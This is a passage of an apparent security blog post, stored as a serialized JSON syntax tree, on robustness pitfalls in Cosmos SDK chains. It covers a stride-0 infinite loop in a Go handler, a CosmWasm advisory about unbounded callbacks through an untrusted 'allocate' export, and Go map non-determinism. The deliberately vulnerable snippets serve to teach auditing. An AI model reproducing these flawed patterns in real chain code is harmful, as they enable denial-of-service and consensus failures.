goCtx",{"type":24,"tag":158,"props":77615,"children":77616},{"style":171},[77617],{"type":29,"value":77618}," context",{"type":24,"tag":158,"props":77620,"children":77621},{"style":188},[77622],{"type":29,"value":347},{"type":24,"tag":158,"props":77624,"children":77625},{"style":171},[77626],{"type":29,"value":77627},"Context",{"type":24,"tag":158,"props":77629,"children":77630},{"style":188},[77631],{"type":29,"value":235},{"type":24,"tag":158,"props":77633,"children":77634},{"class":160,"line":1447},[77635,77640,77644,77649],{"type":24,"tag":158,"props":77636,"children":77637},{"style":177},[77638],{"type":29,"value":77639}," msg",{"type":24,"tag":158,"props":77641,"children":77642},{"style":222},[77643],{"type":29,"value":615},{"type":24,"tag":158,"props":77645,"children":77646},{"style":171},[77647],{"type":29,"value":77648},"MsgSumWithStrideParams",{"type":24,"tag":158,"props":77650,"children":77651},{"style":188},[77652],{"type":29,"value":235},{"type":24,"tag":158,"props":77654,"children":77655},{"class":160,"line":1509},[77656,77661,77665,77670,77674,77678],{"type":24,"tag":158,"props":77657,"children":77658},{"style":188},[77659],{"type":29,"value":77660},") (",{"type":24,"tag":158,"props":77662,"children":77663},{"style":222},[77664],{"type":29,"value":577},{"type":24,"tag":158,"props":77666,"children":77667},{"style":171},[77668],{"type":29,"value":77669},"MsgSumWithStrideResponse",{"type":24,"tag":158,"props":77671,"children":77672},{"style":188},[77673],{"type":29,"value":191},{"type":24,"tag":158,"props":77675,"children":77676},{"style":171},[77677],{"type":29,"value":16098},{"type":24,"tag":158,"props":77679,"children":77680},{"style":188},[77681],{"type":29,"value":16038},{"type":24,"tag":158,"props":77683,"children":77684},{"class":160,"line":1527},[77685,77690,77695,77700,77704,77708],{"type":24,"tag":158,"props":77686,"children":77687},{"style":177},[77688],{"type":29,"value":77689}," sum",{"type":24,"tag":158,"props":77691,"children":77692},{"style":222},[77693],{"type":29,"value":77694}," :=",{"type":24,"tag":158,"props":77696,"children":77697},{"style":171},[77698],{"type":29,"value":77699}," uint64",{"type":24,"tag":158,"props":77701,"children":77702},{"style":188},[77703],{"type":29,"value":504},{"type":24,"tag":158,"props":77705,"children":77706},{"style":465},[77707],{"type":29,"value":5682},{"type":24,"tag":158,"props":77709,"children":77710},{"style":188},[77711],{"type":29,"value":2125},{"type":24,"tag":158,"props":77713,"children":77714},{"class":160,"line":1545},[77715,77720,77724,77728,77732,77736,77740,77744,77748,77753],{"type":24,"tag":158,"props":77716,"children":77717},{"style":177},[77718],{"type":29,"value":77719}," end",{"type":24,"tag":158,"props":77721,"children":77722},{"style":222},[77723],{"type":29,"value":77694},{"type":24,"tag":158,"props":77725,"children":77726},{"style":171},[77727],{"type":29,"value":77699},{"type":24,"tag":158,"props":77729,"children":77730},{"style":188},[77731],{"type":29,"value":504},{"type":24,"tag":158,"props":77733,"children":77734},{"style":496},[77735],{"type":29,"value":10726},{"type":24,"tag":158,"props":77737,"children":77738},{"style":188},[77739],{"type":29,"value":504},{"type":24,"tag":158,"props":77741,"children":77742},{"style":177},[77743],{"type":29,"value":59219},{"type":24,"tag":158,"props":77745,"children":77746},{"style":188},[77747],{"type":29,"value":347},{"type":24,"tag":158,"props":77749,"children":77750},{"style":177},[77751],{"type":29,"value":77752},"Arr",{"type":24,"tag":158,"props":77754,"children":77755},{"style":188},[77756],{"type":29,"value":20955},{"type":24,"tag":158,"props":77758,"children":77759},{"class":160,"line":1618},[77760,77764,77769,77773,77778,77782,77787,77791,77796,77800,77805,77809,77813,77817,77821,77825,77830],{"type":24,"tag":158,"props":77761,"children":77762},{"style":1914},[77763],{"type":29,"value":4702},{"type":24,"tag":158,"props":77765,"children":77766},{"style":177},[77767],{"type":29,"value":77768}," idx",{"type":24,"tag":158,"props":77770,"children":77771},{"style":222},[77772],{"type":29,"value":77694},{"type":24,"tag":158,"props":77774,"children":77775},{"style":177},[77776],{"type":29,"value":77777}," msg",{"type":24,"tag":158,"props":77779,"children":77780},{"style":188},[77781],{"type":29,"value":347},{"type":24,"tag":158,"props":77783,"children":77784},{"style":177},[77785],{"type":29,"value":77786},"Start",{"type":24,"tag":158,"props":77788,"children":77789},{"style":188},[77790],{"type":29,"value":18465},{"type":24,"tag":158,"props":77792,"children":77793},{"style":177},[77794],{"type":29,"value":77795},"idx",{"type":24,"tag":158,"props":77797,"children":77798},{"style":222},[77799],{"type":29,"value":2116},{"type":24,"tag":158,"props":77801,"children":77802},{"style":177},[77803],{"type":29,"value":77804}," end",{"type":24,"tag":158,"props":77806,"children":77807},{"style":188},[77808],{"type":29,"value":18465},{"type":24,"tag":158,"props":77810,"children":77811},{"style":177},[77812],{"type":29,"value":77795},{"type":24,"tag":158,"props":77814,"children":77815},{"style":222},[77816],{"type":29,"value":16299},{"type":24,"tag":158,"props":77818,"children":77819},{"style":177},[77820],{"type":29,"value":77777},{"type":24,"tag":158,"props":77822,"children":77823},{"style":188},[77824],{"type":29,"value":347},{"type":24,"tag":158,"props":77826,"children":77827},{"style":177},[77828],{"type":29,"value":77829},"Stride",{"type":24,"tag":158,"props":77831,"children":77832},{"style":188},[77833],{"type":29,"value":210},{"type":24,"tag":158,"props":77835,"children":77836},{"class":160,"line":1635},[77837,77842,77846,77850,77854,77858,77862,77866],{"type":24,"tag":158,"props":77838,"children":77839},{"style":177},[77840],{"type":29,"value":77841}," sum",{"type":24,"tag":158,"props":77843,"children":77844},{"style":222},[77845],{"type":29,"value":16299},{"type":24,"tag":158,"props":77847,"children":77848},{"style":177},[77849],{"type":29,"value":77777},{"type":24,"tag":158,"props":77851,"children":77852},{"style":188},[77853],{"type":29,"value":347},{"type":24,"tag":158,"props":77855,"children":77856},{"style":177},[77857],{"type":29,"value":77752},{"type":24,"tag":158,"props":77859,"children":77860},{"style":188},[77861],{"type":29,"value":2048},{"type":24,"tag":158,"props":77863,"children":77864},{"style":177},[77865],{"type":29,"value":77795},{"type":24,"tag":158,"props":77867,"children":77868},{"style":188},[77869],{"type":29,"value":2647},{"type":24,"tag":158,"props":77871,"children":77872},{"class":160,"line":1644},[77873],{"type":24,"tag":158,"props":77874,"children":77875},{"style":188},[77876],{"type":29,"value":3967},{"type":24,"tag":158,"props":77878,"children":77879},{"class":160,"line":1652},[77880,77884,77888,77892,77897,77902,77906,77911,77916],{"type":24,"tag":158,"props":77881,"children":77882},{"style":1914},[77883],{"type":29,"value":18227},{"type":24,"tag":158,"props":77885,"children":77886},{"style":222},[77887],{"type":29,"value":8784},{"type":24,"tag":158,"props":77889,"children":77890},{"style":171},[77891],{"type":29,"value":77669},{"type":24,"tag":158,"props":77893,"children":77894},{"style":188},[77895],{"type":29,"value":77896},"{",{"type":24,"tag":158,"props":77898,"children":77899},{"style":177},[77900],{"type":29,"value":77901},"Sum",{"type":24,"tag":158,"props":77903,"children":77904},{"style":188},[77905],{"type":29,"value":16566},{"type":24,"tag":158,"props":77907,"children":77908},{"style":177},[77909],{"type":29,"value":77910},"sum",{"type":24,"tag":158,"props":77912,"children":77913},{"style":188},[77914],{"type":29,"value":77915},"}, ",{"type":24,"tag":158,"props":77917,"children":77918},{"style":165},[77919],{"type":29,"value":77920},"nil\n",{"type":24,"tag":158,"props":77922,"children":77923},{"class":160,"line":1704},[77924],{"type":24,"tag":158,"props":77925,"children":77926},{"style":188},[77927],{"type":29,"value":307},{"type":24,"tag":25,"props":77929,"children":77930},{},[77931,77933,77938,77939,77945],{"type":29,"value":77932},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":24,"tag":154,"props":77934,"children":77936},{"className":77935},[],[77937],{"type":29,"value":77795},{"type":29,"value":8955},{"type":24,"tag":154,"props":77940,"children":77942},{"className":77941},[],[77943],{"type":29,"value":77944},"stride",{"type":29,"value":77946},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":24,"tag":25,"props":77948,"children":77949},{},[77950],{"type":29,"value":77951},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":24,"tag":25,"props":77953,"children":77954},{},[77955],{"type":29,"value":77956},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":24,"tag":25,"props":77958,"children":77959},{},[77960],{"type":29,"value":77961},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":24,"tag":395,"props":77963,"children":77965},{"id":77964},"real-world-examples",[77966],{"type":29,"value":77967},"Real-World Examples",{"type":24,"tag":25,"props":77969,"children":77970},{},[77971],{"type":29,"value":77972},"Now, let's examine a few real-world instances.",{"type":24,"tag":25,"props":77974,"children":77975},{},[77976,77978,77984,77985,77991,77993,77999,78001,78007],{"type":29,"value":77977},"In the case of ",{"type":24,"tag":101,"props":77979,"children":77982},{"href":77980,"rel":77981},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[105],[77983],{"type":29,"value":18932},{"type":29,"value":8106},{"type":24,"tag":154,"props":77986,"children":77988},{"className":77987},[],[77989],{"type":29,"value":77990},"CosmWasm",{"type":29,"value":77992}," bug, the helper method ",{"type":24,"tag":154,"props":77994,"children":77996},{"className":77995},[],[77997],{"type":29,"value":77998},"write_to_contract",{"type":29,"value":78000}," negligently calls the untrusted Wasm function ",{"type":24,"tag":154,"props":78002,"children":78004},{"className":78003},[],[78005],{"type":29,"value":78006},"\"allocate\"",{"type":29,"value":347},{"type":24,"tag":25,"props":78009,"children":78010},{},[78011],{"type":24,"tag":101,"props":78012,"children":78015},{"href":78013,"rel":78014},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[105],[78016],{"type":29,"value":78017},"Permalink for snippet",{"type":24,"tag":147,"props":78019,"children":78021},{"code":78020,"language":150,"meta":7,"className":151,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n env: &Environment\u003CA, S, Q>,\n input: &[u8],\n) -> VmResult\u003Cu32> {\n let out_size = to_u32(input.len())?;\n let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n let target_ptr = ref_to_u32(&result)?;\n if target_ptr == 0 {\n return Err(CommunicationError::zero_address().into());\n }\n write_region(&env.memory(), target_ptr, input)?;\n Ok(target_ptr)\n}\n",[78022],{"type":24,"tag":154,"props":78023,"children":78024},{"__ignoreMap":7},[78025,78094,78142,78170,78199,78248,78322,78367,78390,78435,78442,78499,78518],{"type":24,"tag":158,"props":78026,"children":78027},{"class":160,"line":161},[78028,78032,78037,78041,78046,78050,78055,78059,78063,78067,78072,78076,78081,78085,78090],{"type":24,"tag":158,"props":78029,"children":78030},{"style":165},[78031],{"type":29,"value":21510},{"type":24,"tag":158,"props":78033,"children":78034},{"style":496},[78035],{"type":29,"value":78036}," write_to_contract",{"type":24,"tag":158,"props":78038,"children":78039},{"style":188},[78040],{"type":29,"value":3760},{"type":24,"tag":158,"props":78042,"children":78043},{"style":171},[78044],{"type":29,"value":78045},"A",{"type":24,"tag":158,"props":78047,"children":78048},{"style":222},[78049],{"type":29,"value":225},{"type":24,"tag":158,"props":78051,"children":78052},{"style":171},[78053],{"type":29,"value":78054}," BackendApi",{"type":24,"tag":158,"props":78056,"children":78057},{"style":188},[78058],{"type":29,"value":191},{"type":24,"tag":158,"props":78060,"children":78061},{"style":171},[78062],{"type":29,"value":23294},{"type":24,"tag":158,"props":78064,"children":78065},{"style":222},[78066],{"type":29,"value":225},{"type":24,"tag":158,"props":78068,"children":78069},{"style":171},[78070],{"type":29,"value":78071}," Storage",{"type":24,"tag":158,"props":78073,"children":78074},{"style":188},[78075],{"type":29,"value":191},{"type":24,"tag":158,"props":78077,"children":78078},{"style":171},[78079],{"type":29,"value":78080},"Q",{"type":24,"tag":158,"props":78082,"children":78083},{"style":222},[78084],{"type":29,"value":225},{"type":24,"tag":158,"props":78086,"children":78087},{"style":171},[78088],{"type":29,"value":78089}," Querier",{"type":24,"tag":158,"props":78091,"children":78092},{"style":188},[78093],{"type":29,"value":8236},{"type":24,"tag":158,"props":78095,"children":78096},{"class":160,"line":213},[78097,78101,78105,78109,78114,78118,78122,78126,78130,78134,78138],{"type":24,"tag":158,"props":78098,"children":78099},{"style":177},[78100],{"type":29,"value":5499},{"type":24,"tag":158,"props":78102,"children":78103},{"style":222},[78104],{"type":29,"value":225},{"type":24,"tag":158,"props":78106,"children":78107},{"style":222},[78108],{"type":29,"value":8784},{"type":24,"tag":158,"props":78110,"children":78111},{"style":171},[78112],{"type":29,"value":78113},"Environment",{"type":24,"tag":158,"props":78115,"children":78116},{"style":188},[78117],{"type":29,"value":3760},{"type":24,"tag":158,"props":78119,"children":78120},{"style":171},[78121],{"type":29,"value":78045},{"type":24,"tag":158,"props":78123,"children":78124},{"style":188},[78125],{"type":29,"value":191},{"type":24,"tag":158,"props":78127,"children":78128},{"style":171},[78129],{"type":29,"value":23294},{"type":24,"tag":158,"props":78131,"children":78132},{"style":188},[78133],{"type":29,"value":191},{"type":24,"tag":158,"props":78135,"children":78136},{"style":171},[78137],{"type":29,"value":78080},{"type":24,"tag":158,"props":78139,"children":78140},{"style":188},[78141],{"type":29,"value":7788},{"type":24,"tag":158,"props":78143,"children":78144},{"class":160,"line":238},[78145,78150,78154,78158,78162,78166],{"type":24,"tag":158,"props":78146,"children":78147},{"style":177},[78148],{"type":29,"value":78149}," input",{"type":24,"tag":158,"props":78151,"children":78152},{"style":222},[78153],{"type":29,"value":225},{"type":24,"tag":158,"props":78155,"children":78156},{"style":222},[78157],{"type":29,"value":8784},{"type":24,"tag":158,"props":78159,"children":78160},{"style":188},[78161],{"type":29,"value":2048},{"type":24,"tag":158,"props":78163,"children":78164},{"style":171},[78165],{"type":29,"value":5082},{"type":24,"tag":158,"props":78167,"children":78168},{"style":188},[78169],{"type":29,"value":15497},{"type":24,"tag":158,"props":78171,"children":78172},{"class":160,"line":259},[78173,78177,78181,78186,78190,78195],{"type":24,"tag":158,"props":78174,"children":78175},{"style":188},[78176],{"type":29,"value":723},{"type":24,"tag":158,"props":78178,"children":78179},{"style":222},[78180],{"type":29,"value":14991},{"type":24,"tag":158,"props":78182,"children":78183},{"style":171},[78184],{"type":29,"value":78185}," VmResult",{"type":24,"tag":158,"props":78187,"children":78188},{"style":188},[78189],{"type":29,"value":3760},{"type":24,"tag":158,"props":78191,"children":78192},{"style":171},[78193],{"type":29,"value":78194},"u32",{"type":24,"tag":158,"props":78196,"children":78197},{"style":188},[78198],{"type":29,"value":8922},{"type":24,"tag":158,"props":78200,"children":78201},{"class":160,"line":280},[78202,78206,78211,78215,78220,78224,78228,78232,78236,78240,78244],{"type":24,"tag":158,"props":78203,"children":78204},{"style":165},[78205],{"type":29,"value":2710},{"type":24,"tag":158,"props":78207,"children":78208},{"style":177},[78209],{"type":29,"value":78210}," out_size",{"type":24,"tag":158,"props":78212,"children":78213},{"style":222},[78214],{"type":29,"value":462},{"type":24,"tag":158,"props":78216,"children":78217},{"style":496},[78218],{"type":29,"value":78219}," to_u32",{"type":24,"tag":158,"props":78221,"children":78222},{"style":188},[78223],{"type":29,"value":504},{"type":24,"tag":158,"props":78225,"children":78226},{"style":177},[78227],{"type":29,"value":2217},{"type":24,"tag":158,"props":78229,"children":78230},{"style":222},[78231],{"type":29,"value":347},{"type":24,"tag":158,"props":78233,"children":78234},{"style":496},[78235],{"type":29,"value":10726},{"type":24,"tag":158,"props":78237,"children":78238},{"style":188},[78239],{"type":29,"value":43230},{"type":24,"tag":158,"props":78241,"children":78242},{"style":222},[78243],{"type":29,"value":4820},{"type":24,"tag":158,"props":78245,"children":78246},{"style":188},[78247],{"type":29,"value":473},{"type":24,"tag":158,"props":78249,"children":78250},{"class":160,"line":301},[78251,78255,78259,78263,78267,78271,78276,78280,78284,78288,78292,78296,78301,78305,78309,78314,78318],{"type":24,"tag":158,"props":78252,"children":78253},{"style":165},[78254],{"type":29,"value":2710},{"type":24,"tag":158,"props":78256,"children":78257},{"style":177},[78258],{"type":29,"value":3345},{"type":24,"tag":158,"props":78260,"children":78261},{"style":222},[78262],{"type":29,"value":462},{"type":24,"tag":158,"props":78264,"children":78265},{"style":177},[78266],{"type":29,"value":44224},{"type":24,"tag":158,"props":78268,"children":78269},{"style":222},[78270],{"type":29,"value":347},{"type":24,"tag":158,"props":78272,"children":78273},{"style":496},[78274],{"type":29,"value":78275},"call_function1",{"type":24,"tag":158,"props":78277,"children":78278},{"style":188},[78279],{"type":29,"value":504},{"type":24,"tag":158,"props":78281,"children":78282},{"style":1108},[78283],{"type":29,"value":78006},{"type":24,"tag":158,"props":78285,"children":78286},{"style":188},[78287],{"type":29,"value":191},{"type":24,"tag":158,"props":78289,"children":78290},{"style":222},[78291],{"type":29,"value":2212},{"type":24,"tag":158,"props":78293,"children":78294},{"style":188},[78295],{"type":29,"value":2048},{"type":24,"tag":158,"props":78297,"children":78298},{"style":177},[78299],{"type":29,"value":78300},"out_size",{"type":24,"tag":158,"props":78302,"children":78303},{"style":222},[78304],{"type":29,"value":347},{"type":24,"tag":158,"props":78306,"children":78307},{"style":496},[78308],{"type":29,"value":16120},{"type":24,"tag":158,"props":78310,"children":78311},{"style":188},[78312],{"type":29,"value":78313},"()])",{"type":24,"tag":158,"props":78315,"children":78316},{"style":222},[78317],{"type":29,"value":4820},{"type":24,"tag":158,"props":78319,"children":78320},{"style":188},[78321],{"type":29,"value":473},{"type":24,"tag":158,"props":78323,"children":78324},{"class":160,"line":626},[78325,78329,78334,78338,78343,78347,78351,78355,78359,78363],{"type":24,"tag":158,"props":78326,"children":78327},{"style":165},[78328],{"type":29,"value":2710},{"type":24,"tag":158,"props":78330,"children":78331},{"style":177},[78332],{"type":29,"value":78333}," target_ptr",{"type":24,"tag":158,"props":78335,"children":78336},{"style":222},[78337],{"type":29,"value":462},{"type":24,"tag":158,"props":78339,"children":78340},{"style":496},[78341],{"type":29,"value":78342}," ref_to_u32",{"type":24,"tag":158,"props":78344,"children":78345},{"style":188},[78346],{"type":29,"value":504},{"type":24,"tag":158,"props":78348,"children":78349},{"style":222},[78350],{"type":29,"value":2212},{"type":24,"tag":158,"props":78352,"children":78353},{"style":177},[78354],{"type":29,"value":1025},{"type":24,"tag":158,"props":78356,"children":78357},{"style":188},[78358],{"type":29,"value":521},{"type":24,"tag":158,"props":78360,"children":78361},{"style":222},[78362],{"type":29,"value":4820},{"type":24,"tag":158,"props":78364,"children":78365},{"style":188},[78366],{"type":29,"value":473},{"type":24,"tag":158,"props":78368,"children":78369},{"class":160,"line":668},[78370,78374,78378,78382,78386],{"type":24,"tag":158,"props":78371,"children":78372},{"style":1914},[78373],{"type":29,"value":3160},{"type":24,"tag":158,"props":78375,"children":78376},{"style":177},[78377],{"type":29,"value":78333},{"type":24,"tag":158,"props":78379,"children":78380},{"style":222},[78381],{"type":29,"value":3175},{"type":24,"tag":158,"props":78383,"children":78384},{"style":465},[78385],{"type":29,"value":2025},{"type":24,"tag":158,"props":78387,"children":78388},{"style":188},[78389],{"type":29,"value":210},{"type":24,"tag":158,"props":78391,"children":78392},{"class":160,"line":676},[78393,78397,78401,78405,78410,78414,78419,78423,78427,78431],{"type":24,"tag":158,"props":78394,"children":78395},{"style":1914},[78396],{"type":29,"value":16980},{"type":24,"tag":158,"props":78398,"children":78399},{"style":171},[78400],{"type":29,"value":16985},{"type":24,"tag":158,"props":78402,"children":78403},{"style":188},[78404],{"type":29,"value":504},{"type":24,"tag":158,"props":78406,"children":78407},{"style":171},[78408],{"type":29,"value":78409},"CommunicationError",{"type":24,"tag":158,"props":78411,"children":78412},{"style":222},[78413],{"type":29,"value":2146},{"type":24,"tag":158,"props":78415,"children":78416},{"style":496},[78417],{"type":29,"value":78418},"zero_address",{"type":24,"tag":158,"props":78420,"children":78421},{"style":188},[78422],{"type":29,"value":15113},{"type":24,"tag":158,"props":78424,"children":78425},{"style":222},[78426],{"type":29,"value":347},{"type":24,"tag":158,"props":78428,"children":78429},{"style":496},[78430],{"type":29,"value":16120},{"type":24,"tag":158,"props":78432,"children":78433},{"style":188},[78434],{"type":29,"value":16660},{"type":24,"tag":158,"props":78436,"children":78437},{"class":160,"line":684},[78438],{"type":24,"tag":158,"props":78439,"children":78440},{"style":188},[78441],{"type":29,"value":3967},{"type":24,"tag":158,"props":78443,"children":78444},{"class":160,"line":700},[78445,78450,78454,78458,78462,78466,78470,78474,78479,78483,78487,78491,78495],{"type":24,"tag":158,"props":78446,"children":78447},{"style":496},[78448],{"type":29,"value":78449}," write_region",{"type":24,"tag":158,"props":78451,"children":78452},{"style":188},[78453],{"type":29,"value":504},{"type":24,"tag":158,"props":78455,"children":78456},{"style":222},[78457],{"type":29,"value":2212},{"type":24,"tag":158,"props":78459,"children":78460},{"style":177},[78461],{"type":29,"value":36954},{"type":24,"tag":158,"props":78463,"children":78464},{"style":222},[78465],{"type":29,"value":347},{"type":24,"tag":158,"props":78467,"children":78468},{"style":496},[78469],{"type":29,"value":77250},{"type":24,"tag":158,"props":78471,"children":78472},{"style":188},[78473],{"type":29,"value":19615},{"type":24,"tag":158,"props":78475,"children":78476},{"style":177},[78477],{"type":29,"value":78478},"target_ptr",{"type":24,"tag":158,"props":78480,"children":78481},{"style":188},[78482],{"type":29,"value":191},{"type":24,"tag":158,"props":78484,"children":78485},{"style":177},[78486],{"type":29,"value":2217},{"type":24,"tag":158,"props":78488,"children":78489},{"style":188},[78490],{"type":29,"value":521},{"type":24,"tag":158,"props":78492,"children":78493},{"style":222},[78494],{"type":29,"value":4820},{"type":24,"tag":158,"props":78496,"children":78497},{"style":188},[78498],{"type":29,"value":473},{"type":24,"tag":158,"props":78500,"children":78501},{"class":160,"line":785},[78502,78506,78510,78514],{"type":24,"tag":158,"props":78503,"children":78504},{"style":171},[78505],{"type":29,"value":15567},{"type":24,"tag":158,"props":78507,"children":78508},{"style":188},[78509],{"type":29,"value":504},{"type":24,"tag":158,"props":78511,"children":78512},{"style":177},[78513],{"type":29,"value":78478},{"type":24,"tag":158,"props":78515,"children":78516},{"style":188},[78517],{"type":29,"value":2125},{"type":24,"tag":158,"props":78519,"children":78520},{"class":160,"line":1447},[78521],{"type":24,"tag":158,"props":78522,"children":78523},{"style":188},[78524],{"type":29,"value":307},{"type":24,"tag":25,"props":78526,"children":78527},{},[78528,78530,78536,78538,78543],{"type":29,"value":78529},"As users have complete control over ",{"type":24,"tag":154,"props":78531,"children":78533},{"className":78532},[],[78534],{"type":29,"value":78535},"allocate",{"type":29,"value":78537},", there is a possibility to call back ",{"type":24,"tag":154,"props":78539,"children":78541},{"className":78540},[],[78542],{"type":29,"value":77998},{"type":29,"value":78544}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":24,"tag":25,"props":78546,"children":78547},{},[78548,78550,78557],{"type":29,"value":78549},"Additional real-world examples include ",{"type":24,"tag":101,"props":78551,"children":78554},{"href":78552,"rel":78553},"https://github.com/cosmos/cosmos-sdk/issues/16676",[105],[78555],{"type":29,"value":78556},"not returning proper values for malformed txs",{"type":29,"value":347},{"type":24,"tag":59,"props":78559,"children":78561},{"id":78560},"order-was-the-dream-of-man",[78562],{"type":29,"value":78563},"Order Was the Dream of Man",{"type":24,"tag":25,"props":78565,"children":78566},{},[78567],{"type":29,"value":78568},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":24,"tag":25,"props":78570,"children":78571},{},[78572],{"type":29,"value":78573},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":24,"tag":147,"props":78575,"children":78577},{"code":78576,"language":77442,"meta":7,"className":77443,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n for key, value := range objectMap {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, value),\n )\n )\n }\n}\n",[78578],{"type":24,"tag":154,"props":78579,"children":78580},{"__ignoreMap":7},[78581,78614,78621,78650,78687,78716,78737,78749,78786,78794,78801,78808],{"type":24,"tag":158,"props":78582,"children":78583},{"class":160,"line":161},[78584,78588,78593,78597,78601,78605,78609],{"type":24,"tag":158,"props":78585,"children":78586},{"style":165},[78587],{"type":29,"value":34018},{"type":24,"tag":158,"props":78589,"children":78590},{"style":171},[78591],{"type":29,"value":78592}," ObjectMap",{"type":24,"tag":158,"props":78594,"children":78595},{"style":165},[78596],{"type":29,"value":50940},{"type":24,"tag":158,"props":78598,"children":78599},{"style":188},[78600],{"type":29,"value":2048},{"type":24,"tag":158,"props":78602,"children":78603},{"style":171},[78604],{"type":29,"value":30926},{"type":24,"tag":158,"props":78606,"children":78607},{"style":188},[78608],{"type":29,"value":16646},{"type":24,"tag":158,"props":78610,"children":78611},{"style":171},[78612],{"type":29,"value":78613},"string\n",{"type":24,"tag":158,"props":78615,"children":78616},{"class":160,"line":213},[78617],{"type":24,"tag":158,"props":78618,"children":78619},{"emptyLinePlaceholder":16},[78620],{"type":29,"value":481},{"type":24,"tag":158,"props":78622,"children":78623},{"class":160,"line":238},[78624,78628,78633,78637,78642,78646],{"type":24,"tag":158,"props":78625,"children":78626},{"style":165},[78627],{"type":29,"value":77578},{"type":24,"tag":158,"props":78629,"children":78630},{"style":496},[78631],{"type":29,"value":78632}," EmitEntries",{"type":24,"tag":158,"props":78634,"children":78635},{"style":188},[78636],{"type":29,"value":504},{"type":24,"tag":158,"props":78638,"children":78639},{"style":177},[78640],{"type":29,"value":78641},"objectMap",{"type":24,"tag":158,"props":78643,"children":78644},{"style":171},[78645],{"type":29,"value":78592},{"type":24,"tag":158,"props":78647,"children":78648},{"style":188},[78649],{"type":29,"value":16038},{"type":24,"tag":158,"props":78651,"children":78652},{"class":160,"line":259},[78653,78657,78661,78665,78669,78673,78678,78683],{"type":24,"tag":158,"props":78654,"children":78655},{"style":1914},[78656],{"type":29,"value":4702},{"type":24,"tag":158,"props":78658,"children":78659},{"style":177},[78660],{"type":29,"value":7582},{"type":24,"tag":158,"props":78662,"children":78663},{"style":188},[78664],{"type":29,"value":191},{"type":24,"tag":158,"props":78666,"children":78667},{"style":177},[78668],{"type":29,"value":40416},{"type":24,"tag":158,"props":78670,"children":78671},{"style":222},[78672],{"type":29,"value":77694},{"type":24,"tag":158,"props":78674,"children":78675},{"style":1914},[78676],{"type":29,"value":78677}," range",{"type":24,"tag":158,"props":78679,"children":78680},{"style":177},[78681],{"type":29,"value":78682}," objectMap",{"type":24,"tag":158,"props":78684,"children":78685},{"style":188},[78686],{"type":29,"value":210},{"type":24,"tag":158,"props":78688,"children":78689},{"class":160,"line":280},[78690,78694,78698,78703,78707,78712],{"type":24,"tag":158,"props":78691,"children":78692},{"style":177},[78693],{"type":29,"value":27443},{"type":24,"tag":158,"props":78695,"children":78696},{"style":188},[78697],{"type":29,"value":347},{"type":24,"tag":158,"props":78699,"children":78700},{"style":177},[78701],{"type":29,"value":78702},"EventManager",{"type":24,"tag":158,"props":78704,"children":78705},{"style":188},[78706],{"type":29,"value":347},{"type":24,"tag":158,"props":78708,"children":78709},{"style":496},[78710],{"type":29,"value":78711},"EmitEvent",{"type":24,"tag":158,"props":78713,"children":78714},{"style":188},[78715],{"type":29,"value":2156},{"type":24,"tag":158,"props":78717,"children":78718},{"class":160,"line":301},[78719,78724,78728,78733],{"type":24,"tag":158,"props":78720,"children":78721},{"style":177},[78722],{"type":29,"value":78723}," sdk",{"type":24,"tag":158,"props":78725,"children":78726},{"style":188},[78727],{"type":29,"value":347},{"type":24,"tag":158,"props":78729,"children":78730},{"style":496},[78731],{"type":29,"value":78732},"NewEvent",{"type":24,"tag":158,"props":78734,"children":78735},{"style":188},[78736],{"type":29,"value":2156},{"type":24,"tag":158,"props":78738,"children":78739},{"class":160,"line":626},[78740,78745],{"type":24,"tag":158,"props":78741,"children":78742},{"style":1108},[78743],{"type":29,"value":78744}," \"MapContext\"",{"type":24,"tag":158,"props":78746,"children":78747},{"style":188},[78748],{"type":29,"value":235},{"type":24,"tag":158,"props":78750,"children":78751},{"class":160,"line":668},[78752,78757,78761,78766,78770,78774,78778,78782],{"type":24,"tag":158,"props":78753,"children":78754},{"style":177},[78755],{"type":29,"value":78756}," sdk",{"type":24,"tag":158,"props":78758,"children":78759},{"style":188},[78760],{"type":29,"value":347},{"type":24,"tag":158,"props":78762,"children":78763},{"style":496},[78764],{"type":29,"value":78765},"NewAttribute",{"type":24,"tag":158,"props":78767,"children":78768},{"style":188},[78769],{"type":29,"value":504},{"type":24,"tag":158,"props":78771,"children":78772},{"style":177},[78773],{"type":29,"value":73432},{"type":24,"tag":158,"props":78775,"children":78776},{"style":188},[78777],{"type":29,"value":191},{"type":24,"tag":158,"props":78779,"children":78780},{"style":177},[78781],{"type":29,"value":40416},{"type":24,"tag":158,"props":78783,"children":78784},{"style":188},[78785],{"type":29,"value":8382},{"type":24,"tag":158,"props":78787,"children":78788},{"class":160,"line":676},[78789],{"type":24,"tag":158,"props":78790,"children":78791},{"style":188},[78792],{"type":29,"value":78793}," 